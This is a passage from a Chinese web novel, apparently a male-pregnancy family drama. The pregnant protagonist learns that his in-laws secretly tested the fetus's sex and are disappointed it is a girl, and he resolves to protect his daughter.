他目送林庭安拖着行李箱下楼,坐上了早就等在楼下的迈巴赫。 接下来整个上午沈茁都沉浸在一种不能仅仅称之为“悲伤”的情绪里。 他看着已经钩好的三个小玩偶,两个大的完整度已经很高了,只剩些小细节没有填充。 那个小的还只是一个“裸娃”,没有头发没有衣服只脸上有简单的五官。 沈茁很是纠结到底要给娃娃编长头发还是短头发,穿裤子还是裙子? 这两个问题萦绕在他的脑子里,甚至冲散了心中的一部分难过。 很快王秋梅做好了午饭,沈茁收回思绪把娃娃放回抽屉,顺着饭香就追了出去。 “沈先生,快来吃饭吧,”王秋梅把饭菜端到客厅,铺了两个软垫在茶几旁,“电视给你调好了,刚好能接上昨天的。” “谢谢王阿姨。” 沈茁走到客厅坐下,边看电视边吃着碗里的吃饭,他决定不再想这些一时半会没有定论的事情。 脑子里自动便开始计划,下午先去公园散步再去看看小佳。 正想着,家里的门铃突然响了。 王秋梅去开了门,门一开唐卿和林建群就走了进来。 不等王秋梅搭话,二人就直奔主卧,见主卧没人两人立刻出来,站在屋子中间环顾四周。 猝不及防跟呆坐在沙发上的沈茁对上了眼睛。 唐卿抬脚就要往沈茁的方向去,林建群拉了她一下,小声提醒:“别做得太过,到底是庭安的骨肉。” 啧了声,唐卿甩掉林建群的手,走到沈茁面前站定。 “爸,妈,你们怎么来了?” 沈茁眼睛瞪得溜圆,呆愣愣看着唐卿有些严肃的面容。 “小沈,饭吃完了吗?”唐卿立刻换上笑脸,走上前摸了摸沈茁的脑袋,“吃完了跟妈出去,妈带你去外面逛一逛。” “前些天我听庭安说你现在能出门了,快去收拾收拾,妈带你出去吃点好吃的。” “啊,”沈茁眼中的疑惑立刻被惊喜取代,他到惊道说话都不利索了,“好,好的,您等我一下我去换件衣服。” 沈茁放下手里的筷子抬腿就往屋里跑,唐卿在他身后大声提醒:“慢点跑,小心孩子。” “知道啦。” 沈茁从没体会过有家长陪着自己吃饭玩耍的感觉,他觉得自己今天像是突然被什么惊喜给砸中了,整个人都开始晕乎起来。 换好衣服,沈茁乐呵呵跟唐卿二人进了电梯,那样子就连王秋梅看了都跟着扬起了笑脸。 下了楼沈茁才发现,原来来得不只有林庭安的爸爸妈妈。 他看着楼下整齐排列站成一排的黑衣保镖,个个膀大腰圆身体挺拔,每个人脸上还都架着墨镜。 “妈,”沈茁狐疑地看向唐卿,“这是?” “啊,这不是你妈怕出门不安全,特意带了人过来保护你。”林建群及时解释。 “对对对,”唐卿愣了下,立刻反应过来,拉着沈茁边上车边说:“别怪妈大动干戈,妈也是担心你。” 沈茁听了心里一热,不好意思地低下头,腼腆道:“谢谢妈,谢谢爸。” 唐卿笑了笑没回应,转头对上了林建群的眼神,两人同时松了口气, 还好沈茁够听话,没逼着他们用武力解决问题。 鉴于沈茁刚吃完饭,两人先带着沈茁去逛了动物园消食。 就在沈茁正沉浸在兴奋中时,他们拉着沈茁上车,驶向了两人精心挑选的私人医院。 “妈,我还没到产检时间呢,而且我产检的医院也不是这里,你们是不是搞错了?” 下了车,沈茁看着眼前高耸在陌生地界的建筑,心里不禁生出了退意。 唐静站在他身后,上前一步抓住了他的手腕,带笑的语气里透着一丝寒意:“小沈,别害怕,妈关心你所以才带着你来复查的,换个医院再检查下妈才能安心。” “妈……” 沈茁下意识吞下口水,想向后退却被唐卿握着手腕死死锢在了原地。 他呼吸加重,将目光投向了一旁的林建群。 “小沈啊,”林建群轻咳一声,抬腿就往医院走,“别辜负你妈的心意,快进来吧。” 沈茁求助无门只能硬着头皮跟在唐卿身后进了医院。 虽然两位老人的行为有些诡异,但上到医院顶楼,沈茁真的只是做了一遍跟往常差不多的检查。 那一套流程他做了几个月,早就熟记于心,因此沈茁心里的疑虑打消了不少。 等结果的过程中,几人来到了vip休息室。 沈茁坐在休息室的沙发上,面前是二老来回踱步的身影。 他紧张地咽了咽口水,心想不过是一次产检用得着这么紧张吗? 这次等检查报告的时间比以往都要长,沈茁不敢当着父母的面玩手机,闲来无事只能低头扣自己的手玩。 玩了一会,突然摸到手腕处有一个细小的针孔。 他这才惊觉刚才自己抽了血,这倒是跟以往的产检不一样,从前除了住院那次,邢远似乎从未给他抽过血。 正疑惑,房门突然被敲响了。 唐卿的身体猛地一震,立刻跑过去开门。 林建群紧随其后,两人站在门口也不知再跟医生说些什么。 沈茁还坐在原地,他看着自己手腕上的针头,越看越觉得那个小洞像是要把他吸进去似的,骇人得很。 脑子发晕,反应自然也就慢了一拍。 等沈茁凑过去想看一眼自己的产检报告,门口的几人已经说话了话。 望着医生远去的背影,沈茁脑袋一晕,他身形恍惚撑着墙壁才没倒下去。 “妈,报告能给我看看吗?”他小声说了句。 唐卿全部的注意都在手中的报告单上,她没听到沈茁的话,视线直勾勾黏在了NIPT报告单上那个大大的“Female”上。[1] 果真是女孩,竟然真的是女孩! 唐卿眼前一黑差点没一头栽下去,林建群扶住她,低声道:“你怎么样,别吓我,有什么咱回家再说,嗯?” 沈茁越来越迷糊了,手腕的针眼也后知后觉开始发疼。 他突然忆起刚才繁琐的流程中,好像确实有医生抽了他两大管血,难道是贫血了? 沈茁搞不清楚,他跌跌撞撞走过去,只见唐卿神色悲寂像是马上要哭出来一样。 林建群脸色也不怎么好,本就肃穆的脸上愁云密布,比平时更吓人了。 沈茁见状连话都不敢说,他想看看自己的产检报告,只能悄悄掏出手机放大画面对着唐卿垂在手边密密麻麻的数据拍了张照片。 战战兢兢拍完照片,沈茁连忙将手机放回了口袋。 他大气不敢出,只能站在一旁等二老注意到自己。 唐卿不多时就流出了眼泪,林建群揽着肩哄她,两人谁都没注意到沈茁这个小动作。 等他们回过神,发现旁边还站了个人,两人都吓了一跳。 唐卿侧头擦掉脸上的泪,狠狠看了沈茁一眼,接着一言不发转头就走。 “诶,你……” 林建群想叫住她,奈何沈茁在场他不能把话说得太明白,只能转头嘱咐沈茁:“小沈啊,你自己打个车回去,或者叫司机来接你,注意安全。” 说完,林建群便追着唐卿的身影跑了出去。 徒留沈茁一个人站在原地,反应许久才吐出几个不连续的字来:“好……好的。” 好在他现在脑子不清醒,并未觉察出两人对他的态度突然发生了一百八十度的大转弯。 第73章 回到休息室吃了块干巴巴的糕点, 沈茁硬是等到自己不晕了才走出医院。 他裹紧身上的衣服,在街边打了个车,等回到家天已经完全黑了。 在床上躺了半个小时,手机突然响了, 是林庭安的电话。 沈茁抱紧怀里的人鱼玩偶, 垂着眼皮“喂”了声。 “怎么说话有气无力的?” 林庭安刚到酒店, 衣服都没来得及换,他靠在沙发上双腿交叠坐姿随意, 手指不断敲击着桌面:“有没有想我?” “想了, 想你了。”沈茁懒洋洋开口, 声音里带着他自己都没察觉到的眷恋。 不经意翻了个身他手腕猛地一疼,这才想起自己还没跟林庭安说白天的事。 “下午爸妈带我去外面玩了,”因为疼痛沈茁脑子清醒了不少,说话的声音也亮了些, “去了动植物园。” “哦?”林庭安手上的动作一顿, 眼中闪过精光,“好玩吗?就只去了动植物园?” “很好玩, 那里的风景特别好, 妈还给我买了冰淇淋吃, 后来……” 沈茁犹豫片刻,开口道:“后来爸妈带我去做了产检,我说我还没到产检时间,他们说是不放心才带我去做的。” “爸妈关心我, 我还挺开心的。” 沈茁从床上坐起,迷蒙的脸上浮现出了淡淡的笑意。 林庭安捕捉到耳边的轻笑声,表情也跟着舒展开,他脱掉外套用手指勾开领带。 在解开衬衫最上面的两颗扣子后沉声道:“把摄像头打开, 老公看看你。” “啊?”沈茁怔了一下,“我我我……你等一下我,我现在头发乱糟糟的不好看呢。” “你什么样我没看过,”林庭安哄他,“快打开,让老公看一眼。” “那你等我一下!” 沈茁撂下电话翻身下床,小跑到卫生间用清水洗了把脸。 擦干脸上的水,他看着镜中自己的脸,嘴唇有些泛白,脸颊也不像下午出门时那么红润了。 叹了口气,沈茁翻出了之前女装时留下的化妆品,给自己补了个腮红。 接通视频已经是几分钟后的事了。 电话那边林庭安把手机架在酒店的抽纸盒上,露出了自己的上半身。 他没开大灯整个房间的色调都是暗的,动作时阴影下凸起的锁骨让他整个人更添了一丝魅惑。 “我没什么好看的。” 镜头里,沈茁面色红润,因为害羞而乱动的眼睛反而让他看起来更加俏皮可爱。 林庭安心里一动,哄沈茁:“把肚子露出来给老公看看。” “不行!”沈茁的脸唰一下红了,他护住自己的肚子,“我不要,你回来再看嘛。” 林庭安语气宠溺:“好,那等回家我再好好跟谦谦亲近。” 他本来也没打算逼着沈茁陪他调情,只是想说几句不轻不重的话逗弄他而已。 这人跟猫似的,惹急了就亮出圆滚滚没什么杀伤力的小爪子,就算真挠他一下他也只会觉得可爱。 两人又聊了一会,林庭安手机里突然进了电话,沈茁怕耽误他的正经事匆匆告了个别就按了挂断键。 一下午的颠沛消耗掉了沈茁大半的精力,他怀着孕本就嗜睡,脑袋一沾枕头就睡着了。 这一觉直接睡到了第二天中午。 顶着微微发疼的太阳穴吃完中饭,沈茁才想起昨天自己拍的那张照片。 他搬了个垫子坐到窗边,打开相册点开了第一张照片。 昨天他手不稳,照片拍得有些模糊,但放大了看依稀能辨别上面的文字。 沈茁凑近去看,默读了一遍文字部分,再下移图片入目是一连串的英文字母。 他晃了个神,长按图片想要用手机自带的翻译系统转成汉字。 刚用力,手腕就是一阵刺痛。 手指在屏幕上滑了下,沈茁眼前一黑,差点一头栽下去。 他快速用手撑了下地面,缓了几秒才恢复过来。 就在这时,门铃突然响了。 王秋梅正在厨房洗水果,听见声音立刻跑过去开了门。 说实话,沈茁现在挺害怕听到敲门声的,他总觉得林庭安不在家找上门来的都不会是什么好事。 好在这次按门铃的是顾望西。 他就跟进自己家似的,甩掉脚上的鞋就直奔沈茁所在的位置,一个飞扑过去抱住了沈茁。 “想我没,”顾望西掐住沈茁脸上的软肉,玩娃娃一样揉搓了几下,“我一听说林庭安不在家就立刻来找你了。” 沈茁被捏得生疼,咬着牙叫了声:“顾哥。” “好了好了,我不玩你了,”顾望西不情不愿松开手,一屁股坐在地毯上,抱怨道:“林庭安在家我都不敢过来,好不容易等到他出差,我要好好跟你玩一玩,嘿嘿。” “顾哥,你能帮我看看这个照片上写的是什么吗?” 沈茁一边揉脸一边把手机递给了顾望西,他太久没读书之前背过的单词几乎都忘光了,刚好顾望西在可以充当人肉翻译机。 “我看看,”顾望西放大屏幕上的照片,看了一会儿突然惊喜地拍了下自己的大腿,“我去,沈茁你肚子的小家伙长这么大了!” “顾哥,这上面写的什么呀?” 顾望西的表情太精彩,沈茁恨不得自己立刻就能读懂英文,他挤过去攀住顾望西的胳膊催促:“顾哥,你快说呀。” “你看这个是疾病筛查显示孩子没有问题,这个显示了胎儿的头围和身长,这里的图像就是你肚子里宝宝的影像。” 顾望西不断移动那张不算清晰的照片,手指指到哪里他就给沈茁讲解哪里。 沈茁越听越开心,距离上次产检还没到半个月宝宝就又长大了许多,看来谦谦是个健康的孩子,他也能松一口气了。 “还有这儿,”顾望西指着右下角的表格,声音陡然拔高:“胎儿性别是女,我要有干女儿了!” 什么? 宝宝是……女孩? 沈茁听这个消息第一时间并没有什么太大的反应,他只是怔怔地想,真可惜这个惊喜提前被暴露了,他还想着要在生产那天开盲盒呢。 不过提前知道了也挺好,沈茁很快就接受了这个现实,他甚至已经开始憧憬给小丫头穿裙子编辫子的生活了。 光是想象一下那种场景,沈茁就打心眼里开心。 他看着手机上他看不懂的英文字母,鼻子猛然酸了。 “那你和林庭安是不是就要生二胎了呀?” 顾望西把手机还给沈茁,笑嘻嘻道:“诶呀,没想到我年纪轻轻就要有两个干孩子了。” “为什么要生二胎?”沈茁摸不着头脑,“我跟庭安都商量好了只生这一个的。” “沈茁,不是我多嘴,这个……” 顾望西很是组织了一下语言,委婉道:“就是你们总不能叫我干女儿继承家产吧?” 沈茁:…… 他的第一想法是——为什不能? 不过他自己这么认为,不代表别人也会这么想。 沈茁脑中猛然闪过昨天下午唐卿和林建群在医院时的表情,想到他们把他自己仍在医院甚至没送回家。 要知道唐卿从前多宝贝他肚子里的孩子,多宝贝她的……孙子。 想到这儿,沈茁的手刹那变得冰凉,心也跟着沉了下来。 他的脑子很乱,一会儿想到他和孩子的以后,一会儿想到唐卿脸上将坠未坠的那滴泪。 最后的最后就是林庭安,沈茁莫名想到了他在商场里拿着小鲨鱼的婴儿枕端看的样子。 原来所有人都在期待他生一个继承人,所有人对他的好也都是因为他肚子里是林家未来的继承人! 哪怕只是林庭安的孩子都不可以,一定要是那个既定的性别才行。 沈茁努力梳理自己的思绪,顾望西叫了他好几声他都没听到。 “沈茁,小沈,沈茁茁茁,”顾望西抬手在沈茁眼前晃了晃,“你想什么呢,你别这样搞得我怪害怕的,是不是我说错了什么,要是……” “顾哥,”沈茁抓住顾望西的手腕,再抬头眼中的茫然已尽数退去,他目视前方,语气坚定:“你是怎么过来的?” “我是开车来的,怎么……了?” 顾望西也跟着紧张起来,他看着沈茁的侧脸,第一次看这人露出这般不容置喙的表情。 “顾哥,你能送我去医院吗?” 沈茁转头看向顾望西:“我没驾照,现在这个时间也不好打车,麻烦你了。” “好……好,好的。” 顾望西被沈茁的表情震慑住了,脑子还没反应过来,脑袋就先做出反应点了几下。 开车去医院的路上,沈茁坐在副驾驶看着窗外的风景。 每一次产检他都坐在林庭安的副驾,眼前扫过的都是熟悉的一草一木。 沈茁双手紧握,心中一时五味杂陈。 顾望西也没找到哪里去,他不停扣弄方向盘上的硅胶套,反复回忆到底是那句话没说对,让沈茁这么蔫吧的小孩变成这样了? 眼睁睁看着一块小蛋糕在自己面前变成了硬石头,顾望西简直欲哭无泪,谁能懂他心里的诡异感啊! “沈茁,你没什么事吧?”顾望西试探地问,“你有什么事就跟我说,你这个样子要是让林庭安知道他回来准保揍我。” “不是因为你顾哥。” 沈茁收紧身上的大衣,严严实实盖住了自己的肚子,红着眼睛喃喃:“不是因为你,不是因为你。” 第74章 车子很快停在了医院楼下, 顾望西担心沈茁自己跑下车立刻锁住了车门。 “顾哥?” 沈茁扳不动车门把手,转头看向顾望西,满眼疑惑:“顾哥你开门呀。” “你来医院干什么?” 顾望西抱着胳膊,忿忿道:“沈茁, 你必须告诉我你要做什么, 否则我是会不让你下车的!” “我只是想去问问医生, 我的情况能不能再要二胎。” 沈茁见顾望西一副如临大敌的样子,没忍住笑了出来, 他松开搭在车门上的手, 含笑看着顾望西。 “顾哥, 你以为我要做什么?” “我……我还以为……” 顾望西强硬的表情一下子垮了下来,他还以为沈茁要…… “那我陪你去。” 顾望西打开车门,打定了主意不会让沈茁自己去医院。 刚才他还没回过味来,现在仔细一想, 肯定是他那句“生二胎”的话刺激到沈茁了, 不然这小孩怎么可能突然性情大变。 虽说他跟沈茁相处的时间不多,但这小孩心里藏不住事, 有什么都写在了脸上, 他就是再迟钝也能看出沈茁情绪不对。 “那好吧, ”沈茁没再推脱,“顾哥,麻烦你陪我上楼了。” 顾望西哼了声,扬起头道:“这算什么麻烦。” 要是我干女儿真因为我出什么事, 那才叫麻烦! 两人来到五楼的主治医师办公室时邢远刚吃完饭,他正要出去扔垃圾迎面跟沈茁二人撞了个满怀。 “诶,沈茁你怎么来了?林庭安呢,怎么没陪你过来?” 邢远拎着垃圾袋, 一边用叠成方块的纸巾擦嘴一边打量着眼前的两人。 “林庭安出差了,”顾望西抢先一步回答,他瞥了眼邢远手里的垃圾袋,一把接了过来,“医生,这个我帮你扔,沈茁有事问你,你俩聊吧。” 说完,顾望西推门而出直奔垃圾桶走去。 办公室的门砰一声关上,隔绝出了安静的交谈空间。 “什么事不能在电话里说?” 邢远饶有兴趣地回到办公桌前坐下,抬手指了指对面的椅子:“坐吧,有什么想问的?” “邢医生,我想问问我这种情况还可以生二胎吗?” 沈茁走到邢远对面坐下,泛红的手指因为紧张不断扣弄着大衣衣扣。 他之所以欣然同意顾望西跟上来,是因为他真的想问邢远关于二胎的问题。 沈茁深吸口气,他面上看着镇定,实际心里早就掀起了惊涛骇浪。 之所以问这个问题不是因为他真的想要二胎,而是…… “你这个还真是问到点上了。” 邢远转身从身后的书架上抽出了一个文件夹,他打开文件夹将里面的内容摊开推到沈茁面前。 指着上面的图像,邢远开口道:“你看这是你肚子里胎儿着床的位置。” 他移动手指,指尖对准了旁边的另一个图像:“这个是正常孕妇胎儿着床的位置,看出什么了吗?” “这两个位置,”沈茁的视线在两个图像之间来回移动,很快他就发现了其中的差异,“我的宝宝所处的环境似乎更大些,而且我的肚子内壁好像更薄些?” “没错,”邢远扣上文件夹,欣慰道:“你总结的不错,但是那里不是肚子内壁而是子宫,经过团队研究我们一致认为你肚子里容纳胎儿的地方不能称之为子宫。” “那是什么?” 沈茁的心猛地提起,身体因为急切而大幅度前倾,险些撞上桌角。 “小心些,”邢远眼疾手快抓住了沈茁的手臂,待人稳住才开口说:“具体是什么我们也还没有研究出来,但是你放心这对你和你肚子里的孩子都没有任何影响。” “只不过你说的二胎,可能……” “是不能要二胎吗?” 沈茁红着眼睛,直勾勾盯着邢远。 邢远以为沈茁是因为太难过才红了眼眶,叹了口气没忍心继续说下去。 “所以我是真的不能要二胎,是吗?”沈茁轻声问。 “目前我们的研究结果是这样的,”邢远握住沈茁的手,立刻安慰道:“不过你别担心,这个还没有确定,万一……” “没有万一!”沈茁反握住邢远的手,眼神坚定地重复:“没有万一。” 他发自内心地笑了,不知是喜是悲的眼泪自眼角滚落:“邢医生,能不能麻烦你一件事?” “你说。” “如果以后有人问你同样的问题,你可不可以斩钉截铁地告诉他我就只能生这一个孩子,没有万一没有其他可能,而是肯定只有这一个。” “这……” 沈茁的表现太过怪异,邢远实在摸不透他在想什么,只能犹豫着说:“我答应你,如果有人问我会如实回答的。” “这样也好,就这样回答也好。” 沈茁擦掉脸上的眼泪,眼神木然怔怔看着脚下反光的瓷砖。 他抱着自己的肚子,觉得他的孩子是幸运的,至少他的肚子里永远不会再生出另一个孩子来分走她应得的全部的爱。 沈茁努力平复心情,开始思考他和宝宝的以后。 林庭安的父母对宝宝是什么态度他心里已经有了计较,他也不是不能理解他们的想法。 沈茁安慰性地抚摸着自己的肚子,只是他们的立场不同注定了会站在对立面。 林庭安的父母都是有手腕的,如果他注定不能满足他们的要求,那他们会怎么做呢? 沈茁不敢想,更不敢深思,因为这背后的答案一定是对谦谦不利的。 他当初找上林庭安就是因为他没能力养育孩子,他希望林家能给宝宝提供优渥的物质生活。 但是现在沈茁的想法变了,他不仅希望宝宝能有丰富的物质条件,更希望宝宝能拥有许多许多的爱,最重要的是父母独一无二的爱。 或许是他太过贪心,但他拥有了就不想再失去。 沈茁站起身,朝邢远点头告别,抬脚就往门口走。 他心里清楚,在这件事情里起核心作用的人是林庭安。 林庭安被夹在中间,他偏向谁谁就是最终的获胜者。 沈茁打心底里开始发怵,手也止不住开始发抖,他握住门把手还没按下去邢远就跑了过来。 “沈茁,”邢远死死压住他的手,“我让人送你回去。” “不用,不麻烦您了,我朋友的车就在楼下呢,他会送我回去的。” 沈茁扯出一抹笑,抬头望向邢远的眼睛。 两人对视了几秒,蓦地沈茁突然开口问:“邢医生,你知道有什么东西,人吃了之后对身体无害但是可以不孕不育吗?” “什么?”邢远不敢相信自己的耳朵,他觉得自己一定是听错了,“你说什么?” “没什么。”沈茁笑着摇头。 他可真是病急乱投医,邢远是林庭安的朋友这种问题怎么能问他呢。 推开门走出去,顾望西早就扔了垃圾回来,一直等在门外。 见沈茁出来,他立刻走上前跟沈茁一起下了楼。 回家的路上,沈茁的表情比来时好了很多。 顾望西也不是不懂人情世故,知道沈茁心情不好,他一路沉默什么多余的话都没问。 送沈茁到了家楼下,他叮嘱了沈茁几句就开车回了家。 别看顾望西平时大大咧咧,对朋友他可是掏心掏肺,心思别提多细腻了。 他盘算着今天就让沈茁自己消化消化情绪,等明天他再来找沈茁带他出去散心。 沈茁下了电梯,还没进家门就察觉到了不对。 家门口多了两双鞋。 一双男鞋一双女鞋,不用猜也知道是谁的。 他输入密码进了门,果然唐卿和林建群正坐在沙发上。 两人的脸上都没什么表情,周身气质严肃,俨然是在等人。 “爸,妈。”沈茁不想跟孩子的爷爷奶奶撕破脸,还是喊了人。 “小沈,过来坐。” 唐卿迎着笑脸把沈茁拉过来坐到自己身边,她牵着沈茁的手,跟昨天在医院时的态度全然不同。 就好像一切都恢复到了从前。 但是真的能回到从前吗? “妈,你们怎么过来了?” 沈茁全身不自在,被握住的手就像沁进了冰水,通体发寒。 “爸妈重新买了些东西给孩子,”唐卿拎起脚边的纸袋,从里面掏出了几个粉色的口水巾,“你看看喜不喜欢。” 沈茁看向手里那抹鲜嫩的粉色,视线下移透过袋子口看到了里面零零散散的几个小玩偶。 他收敛眼中的神色,硬是扯开嘴笑了笑:“很可爱。” “爸妈跟你说实话,昨天带你去产检就是为了检测一下你肚子里孩子的性别。” 唐卿直言道:“多的爸妈也不多说,你好好养身体,先把孩子生下来,以后的事我们以后再说。” “对,以后的事那就以后再说,现在你的首要任务就是把孩子生下来。”林建群个跟着附和。 两位老人来得突然,走得也突然,坐下没聊几句就离开了。 沈茁沉默地拿起那一小袋东西,说实话比起之前唐卿拿来的要寒酸很多。 显然是没有用心准备,随便买来应付的。 他心里窝火,把那袋东西扔到一边,起身去了手工室。 拿出没织好的小号娃娃,沈茁轻轻抚摸娃娃的脑袋,眼泪如潮水夺眶而出。 他是哭着织完这个娃娃的。 给小娃娃编头发的时候他在替他的孩子委屈,编裙子的时候也在替他的孩子委屈。 完整地钩织好这个小娃娃,沈茁的泪已经留了满面。 他擦掉脸上的泪水,珍惜地把小娃娃放在心口。 沈茁闭上眼睛,一片漆黑中他的心愈发坚定,别人如何都不重要,他自己一定要想办法保护好谦谦。 谦谦。 沈茁在心里读了一遍这个名字,脑中紧跟着响起唐卿离开前说的那句话:“小女孩就不要叫谦谦了,你跟庭安商量一下再另外取个名字吧。” 好恶心。 他捂住嘴,胃里一阵翻江倒海,喉咙处迅速升起了种强烈的呕吐感。 缓了好一会,那股恶心劲才将将压下去。 他看了眼时间,现在刚好八点过半。 林庭安白天发了消息说他晚上九点会打电话过来。 沈茁看着桌子上依偎在一起的三个娃娃,决定试探一下林庭安的想法。 他想知道林庭安会更想要做一个好儿子,还是好父亲。 第75章 九点, 手机准时响起。 沈茁调整好情绪,接通了林庭安的视频通话。 林庭安像是刚洗完澡,他穿着浴袍吹到半干的头发软趴趴打在额头,眼中带笑看着摄像头。 沈茁一整天都处在恍惚的情绪里, 早上出门穿的大衣回到家也忘了脱。 林庭安看他还穿着外衣, 忍不住问:“家里很冷吗?一会儿我让宋敛去找物业, 商量一下提前供暖,现在也是时候了。” “不用, 我这是刚从外面回来忘脱衣服了。” 沈茁脱掉身上的衣服, 心情复杂看着镜头里的男人。 不得不说, 林庭安一直很关心他,这种关爱比沈茁从前十几年体会到的温暖都要多。 虽然他们只相处了几个月,但他打心眼里觉得林庭安会是一个好父亲。 可就是因为他太好了,平白让沈茁生出了种不真实感。 他知道林庭安一向尊敬父母, 每次唐卿过来林庭安都会提前让阿姨备好拖鞋和一杯清茶, 进门喝杯茶是唐卿的生活习惯。 这种生活里的小细节数不胜数,林庭安总是能注意到, 也能安排得让人无法挑剔。 如果可以沈茁一辈子都不想跟林庭安的父母产生冲突, 但现实偏偏不尽如人意。 就算是为了谦谦他也要…… 谦谦。 沈茁轻叹了口气, 日渐圆润的脸颊爬上了些许红晕,隔着镜头他对上了林庭安的眼睛:“老公,我想给谦谦换个名字。” 短短一句话,沈茁用了几乎全部的勇气才说出来。 他一想到那半兜子口水巾和小玩偶就觉得气愤, 忆起唐卿临走时的那句话,他心里的火苗就更旺了几分。 沈茁不觉得他女儿的小名不可以叫谦谦,只要宝宝愿意她可以叫任何名字。 只是他现在一想到唐卿那种嫌恶的语气就忍不住冒火,如果说在几天之前他还是一只温顺的兔子, 那么现在他已然变成了刺猬。 任何想要伤害宝宝、不喜欢的宝宝的人,都会见识到他满身的刺有多么坚硬。 “怎么突然想要给宝宝换名,”林庭安不解,“之前你不是也很喜欢这个名字?” “只是突然觉得这个名字没那么可爱俏皮,”沈茁扯了个谎,“读音不变,我只是想换个字,把谦虚的‘谦’换成千字的大写。” 他补充道:“就是单立人加上个十百千的千。” “仟仟,”林庭安反复读了几遍这个名字,轻笑:“倒是也不错,既然你喜欢那就叫仟仟吧。” “你同意了?” “这有什么不同意的,”林庭安不经意撩开额前的头发,凑到镜头前说:“小沈同学,你今天很不对劲。” 看着手机屏幕上不断放大的脸,沈茁心里咯噔一下。 他忙低下头,好一会儿才重新抬起。 心跳声不断加大,沈茁调转摄像头对准了桌面上他早已摆好姿势的三个玩偶。 手机里传来林庭安的笑声,接着是他充满磁性的叩问:“这是……你和我?” “是我们一家三口,”沈茁一眨不眨盯着屏幕上林庭安的表情,磕绊道:“我很久之前就开始钩了,本来想等你回来送给你做礼物的。” “今天钩好了小仟仟,没忍住想给你看一看。” 沈茁边说边看着林庭安的眼睛,他也不知道自己究竟想从这个男人的眼中看到些什么。 他甚至不知道自己在试探些什么,他的心太乱了。 沈茁不敢直截了当地问林庭安,问他能不能接受这一辈子都只有仟仟这一个女儿。 他害怕林庭安的答案是否定的,到那时他该怎么办呢? “仟仟怎么是长头发?” 屏幕上林庭安挑了下眉,随即抬手指了指镜头,脸上满是不解的神色:“怎么还给仟仟穿了小裙子呢?” 他的语调很轻扬,仿佛是在回应一个玩笑。 沈茁的心当即沉到了谷底,眼眶瞬间变得通红。 他颤抖着捂住自己的嘴,还好现在镜头没有对准他,林庭安不会看到他如此惊慌失措的表情。 呜咽从指缝逸出,沈茁听到了他最不想听到的答案。 为什么要这么问呢? 为什么仟仟不可以穿小裙子,不可以有长头发? 难道你也跟其他人一样,只是想要一个继承人才千般万般喜爱这个孩子吗? 苍白的脸上划过几道热泪,沈茁殷红的唇瞬间煞白。 是了,他和林庭安原本就没什么感情基础,他们不就是因为孩子才走到一起的吗? 沈茁狠狠咬住嘴唇,因为太过用力下唇甚至泛出了点点血珠。 铁锈般的血腥味只冲进口腔,他强忍着才没当场吐出来。 “不……不说了,我……阿姨做好了夜宵,我去吃夜宵了,再见,明天再聊。” 沈茁慌乱挂断通话,把手机扣到了桌面。 他怔怔看着桌子上扬着笑脸的小仟仟,良久,抬手点了一下仟仟的鼻子。 仟仟,爸爸一定会保护好你的。 沈茁如获至宝般捧起小仟仟,贴在自己的心口,泪水夺眶而出顷刻便模糊了他的视线。 你放心,不论往后有多么艰难,爸爸都不会让你置身于水深火热之中。 这一晚沈茁几乎没怎么睡,他只要一闭上眼就是女儿坐在床上嚎啕大哭的样子。 她还那么小,边哭边挥舞着藕节似的胳膊,扬起小手在空中乱抓,小小的身体像一艘破旧的渔船,摇摇欲坠挂在床尾。 沈茁看得心急,他好想伸出手去抱抱他的孩子。 但是梦里没有他的存在,他只能用上帝视角看着仟仟哭。 他呢?他去哪了? 没有答案。 沈茁眼睁睁看着仟仟哭到发不出声音,家里的阿姨才上楼来随手给她搭上了被子。 下一秒,突然调转了视角,他看到别墅的另一个房间,所有人都围在另一个小孩身边。 他们哄他、逗他、喂他吃东西,没有人记得这个家还有一个孩子。 没人记得仟仟,包括林庭安。 没有妈妈的孩子该会有多么艰难,沈茁想他或许是被打发走了,更有可能是死了。 否则他是绝对不会扔下仟仟不管的。 这是个十足的噩梦,沈茁最后是在哭声中惊醒的。 醒来后他怅然地坐在床上,裹着杯子收紧手臂环绕住自己的肚子。 他不要他的仟仟变成那个只能对着紧闭的房门喊妈妈的孩子。 正失神,手机突然响了。 是小佳打来的电话,说他科技比赛拿了奖,让沈茁去家里一起庆祝。 小佳是个可怜的孩子,沈茁虽然情绪不好,但还是应邀去了岑复春家。 说是庆祝,但家里还是跟之前一样,并没有做其他冗余的布置。 只是餐桌上的饭菜更丰盛了些,客厅的桌子上多了一个礼物盒,仅此而已。 今天岑复春没去公司,特意空出了时间来陪小佳,沈茁赶到时他们正在坐在客厅的地毯上打闹。 “小沈哥哥,你来啦!” 小佳一见到沈茁就立刻扔下了手中的玩具,飞奔过去抓着沈茁的手就往屋里走。 沈茁走过去和衣而坐,短暂忘却烦恼跟着他们一起玩了会儿。 很快家里的佣人上来了最后一道菜,三人相继起身来到了餐桌前。 岑复春帮沈茁拉开椅子:“坐吧,我记得你喜欢吃盐焗辣虾,特意让厨师准备的,不知道合不合你口味。” 他夹了只虾到自己碗里,剥好之后才将饱满的虾肉放进沈茁面前的餐盘:“尝尝。” 小佳见状也跟着附和:“是呀小沈哥哥,我舅舅听说你要来可开心了,还多给厨师加了工资呢。” 面前的一大一小热情似火,沈茁虽然没什么胃口,还是夹起那块虾肉咬了一口。 “好吃吗?” “小沈哥哥,好不好吃呀?” 两道期待的视线径直投来,沈茁咽下嘴里的虾肉,点头笑道:“很好吃,虾肉很新鲜,味道也很好。” 闻言,岑复春跟小佳对视一眼,两人都笑开了花,激动地在空中击了个掌。 “那就好。” “好耶!” 沈茁被这两个活宝逗笑了,糟糕的心情也在很大程度上得到了缓解。 吃完饭,沈茁把带来的礼物送给了小佳。 那是一个机械模型,需要自己拼装起来才能玩。 小佳拿到礼物就兴高采烈拆开包装,席地而坐研究了起来。 “果然是小孩子心性。” 岑复春慢慢靠近沈茁,他看着沈茁搭在沙发背上的手,眸色渐渐深了下去。 装作不经意地将自己的手盖在沈茁的手背上,岑复春贴在沈茁耳边轻声说:“谢谢你能来,我和小佳都很开心。” 沈茁被他大胆的举动吓了一跳,条件反射抽出手,忙向后退了几步。 “我……我去给小佳洗点水果。” 他磕磕巴巴说了句,拎起自己买的水果轻车熟路走去了厨房。 打开水龙头,沈茁心不在焉地把水果都倒进水池,就着水流开始清洗红彤彤的苹果。 他的心跳得很快,岑复春的举动太暧昧了,这让他没由来的慌张。 眼下还有还有很多事没有解决,他其实不应该过来的。 沈茁思绪飘远,打算洗完水果就离开。 岑复春家的厨房不是开放式的,一道磨砂玻璃门将厨房隔开,形成了一个独立的空间。 